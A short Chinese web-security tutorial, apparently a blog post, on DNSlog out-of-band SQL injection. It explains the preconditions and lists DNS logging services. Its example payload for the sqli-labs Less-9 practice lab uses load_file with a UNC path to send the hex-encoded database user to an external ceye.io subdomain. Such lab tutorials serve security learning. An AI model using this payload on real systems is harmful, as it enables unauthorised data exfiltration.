WEB安全--SQL注入--DNSlog外带

一、原理:

访问域名时,dns协议将我们访问的语句解析为ip地址,并将其记录在其日志中;在这个过程中,如果我们在语句中写入SQL注入的语句,那么在dns解析时会执行这些语句并通过concat将结果和域名一起记录在日志中,这时我们就能直接去日志中查看敏感信息。

二、条件:

1.mysql的my.ini文件中的secure_file_priv参数值要为空, secure_file_priv=""

2.用户的权限必须是root

3.网站是windows服务器,因为load_file()基于UNC格式读取,是windows系统特有的

三、网站:

DNSLog Platform

CEYE - Monitor service for security testing

登录 - DNSlog System

DNSLOG Platform

DNSLog Platform -- DNSLog

四、示例:

以sqli-labs第9关为例:

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and (select load_file(concat('\\\\',(select hex(user())),'
.s5vuxg.ceye.io\\abc')))--+

因为一些字符不能直接回显在网页上,需要hex()转为十六进制

最后再转回来即可

相关推荐
云技纵横21 分钟前
Spring Cache 多线程环境的线程安全与并发控制
java·安全·spring
xiaomin-Michael1 小时前
linux 用户信息 PAM用户认证 auditctl审计
服务器·网络·安全
grrrr_11 小时前
【漏洞复现】CVE-2025-54100
安全·网络安全
蓝之白1 小时前
Web11-备份是个好习惯
web安全·ctf
xixixi777771 小时前
进一步了解一下现代数字经济的核心动脉——DCI(数据中心互联 )
网络·数据库·安全·光通信·数据·通信·dci
飞函安全2 小时前
Mattermost限制历史消息访问:开源软件商业化困局
运维·安全·开源软件
专业开发者3 小时前
蓝牙智能体温监测解决方案助力学校安全复课
安全
同聘云3 小时前
阿里云国际站服务器防御怎么做?服务器能做什么用途?
服务器·安全·阿里云·云计算
oioihoii3 小时前
C++内存安全方案前沿研究
c++·安全·mfc